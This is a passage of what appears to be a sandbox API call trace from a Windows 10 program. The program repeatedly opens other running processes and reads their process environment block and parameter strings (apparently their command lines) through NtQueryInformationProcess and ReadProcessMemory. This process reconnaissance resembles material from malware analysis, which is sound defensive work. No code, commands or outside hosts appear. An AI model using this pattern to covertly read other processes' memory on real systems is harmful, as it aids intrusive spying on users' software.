ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0280.340] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x348020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0280.341] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4212e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0280.341] malloc (_Size=0x6c) returned 0x20abc2831b0 [0280.341] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x42195c, lpBuffer=0x20abc2831b0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0280.341] free (_Block=0x20abc2831b0) [0280.342] CloseHandle (hObject=0x16c) returned 1 [0280.343] _ui64tow_s (in: _Value=0x10c8, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4296") returned 0x0 [0280.346] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4296") returned 4 [0280.472] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0280.472] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0280.485] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10c8) returned 0x16c [0280.485] GetLastError () returned 0x0 [0280.487] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0280.487] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x581018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0280.487] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0280.487] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x291cb0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0280.487] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2918f8, lpBuffer=0x2dc22fc240, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0280.488] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0280.490] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0280.490] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x581020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0280.490] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2912e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0280.490] malloc (_Size=0x60) returned 0x20abc2801b0 [0280.490] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x291950, lpBuffer=0x20abc2801b0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2801b0*, lpNumberOfBytesRead=0x0) returned 1 [0280.491] free (_Block=0x20abc2801b0) [0280.491] CloseHandle (hObject=0x16c) returned 1 [0280.492] _ui64tow_s (in: _Value=0x10dc, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4316") returned 0x0 [0280.495] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4316") returned 4 [0280.496] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0280.496] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0280.548] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10dc) returned 0x16c [0280.548] GetLastError () returned 0x0 [0280.550] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0280.550] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2c5018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0280.550] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0280.550] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x451d00, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0280.550] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4518f8, lpBuffer=0x2dc22fc240, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0280.552] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0280.553] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0280.553] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2c5020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0280.553] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4512e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0280.553] malloc (_Size=0x76) returned 0x20abc282120 [0280.554] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x451966, lpBuffer=0x20abc282120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0280.554] free (_Block=0x20abc282120) [0280.555] CloseHandle (hObject=0x16c) returned 1 [0280.556] _ui64tow_s (in: _Value=0x10fc, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4348") returned 0x0 [0280.562] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4348") returned 4 [0280.564] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0280.564] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0280.579] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10fc) returned 0x16c [0280.579] GetLastError () returned 0x0 [0280.581] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0280.581] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4526018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0280.581] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0280.581] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2d1e40, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0280.581] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2d19f8, lpBuffer=0x2dc22fc240, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0280.612] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0280.613] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0280.613] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4526020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0280.614] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2d13e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0280.614] malloc (_Size=0xba) returned 0x20abc284e70 [0280.614] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2d1a64, lpBuffer=0x20abc284e70, nSize=0xb8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284e70*, lpNumberOfBytesRead=0x0) returned 1 [0280.615] free (_Block=0x20abc284e70) [0280.615] CloseHandle (hObject=0x16c) returned 1 [0280.616] _ui64tow_s (in: _Value=0x11a8, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4520") returned 0x0 [0280.619] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4520") returned 4 [0280.620] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0280.620] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0280.633] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x11a8) returned 0x16c [0280.633] GetLastError () returned 0x0 [0280.634] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0280.634] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2dc20b8018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0280.634] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0280.634] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x20abba21bd0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0280.634] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x20abba21818, lpBuffer=0x2dc22fc240, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0280.635] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0280.637] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0280.637] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2dc20b8020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0280.637] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x20abba21200, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0280.637] malloc (_Size=0x76) returned 0x20abc282120 [0280.637] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x20abba21864, lpBuffer=0x20abc282120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0280.638] free (_Block=0x20abc282120) [0280.638] CloseHandle (hObject=0x16c) returned 1 [0280.639] _ui64tow_s (in: _Value=0xc34, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3124") returned 0x0 [0280.643] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3124") returned 4 [0280.644] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0280.651] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0280.669] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc34) returned 0x0 [0280.669] CloseHandle (hObject=0x0) returned 0 [0280.670] _ui64tow_s (in: _Value=0x4e8, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="1256") returned 0x0 [0280.674] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="1256") returned 4 [0280.676] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0280.676] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0280.722] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4e8) returned 0x16c [0280.723] GetLastError () returned 0x0 [0280.723] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0280.724] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3d9018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0280.724] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0280.724] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4f1c80, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0280.724] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4f18c8, lpBuffer=0x2dc22fc240, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0280.726] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0280.729] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0280.729] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3d9020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0280.729] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4f12b0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0280.729] malloc (_Size=0x58) returned 0x20abc2a7240 [0280.729] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4f191e, lpBuffer=0x20abc2a7240, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2a7240*, lpNumberOfBytesRead=0x0) returned 1 [0280.730] free (_Block=0x20abc2a7240) [0280.731] CloseHandle (hObject=0x16c) returned 1 [0280.732] _ui64tow_s (in: _Value=0xbf4, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3060") returned 0x0 [0280.741] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3060") returned 4 [0280.743] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0280.743] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0280.786] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbf4) returned 0x16c [0280.786] GetLastError () returned 0x0 [0280.787] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0280.787] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x36f018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0280.787] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0280.788] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x701dc0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0280.788] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x701a58, lpBuffer=0x2dc22fc240, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0280.789] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0280.791] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0280.791] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x36f020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0280.792] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x701440, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0280.792] malloc (_Size=0x5e) returned 0x20abc280370 [0280.792] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x701aae, lpBuffer=0x20abc280370, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280370*, lpNumberOfBytesRead=0x0) returned 1 [0280.793] free (_Block=0x20abc280370) [0280.794] CloseHandle (hObject=0x16c) returned 1 [0280.794] _ui64tow_s (in: _Value=0xb58, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="2904") returned 0x0 [0280.800] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="2904") returned 4 [0280.803] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0280.804] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0280.844] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb58) returned 0x16c [0280.844] GetLastError () returned 0x0 [0280.845] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0280.845] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x287018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0280.845] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0280.845] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5a1c70, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0280.845] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5a18c8, lpBuffer=0x2dc22fc240, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0280.846] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0280.849] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0280.849] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x287020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0280.849] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5a12b0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0280.849] malloc (_Size=0x58) returned 0x20abc2a72a0 [0280.849] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5a191a, lpBuffer=0x20abc2a72a0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2a72a0*, lpNumberOfBytesRead=0x0) returned 1 [0280.850] free (_Block=0x20abc2a72a0) [0280.851] CloseHandle (hObject=0x16c) returned 1 [0280.851] _ui64tow_s (in: _Value=0xcc0, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3264") returned 0x0 [0280.855] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3264") returned 4 [0280.856] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, 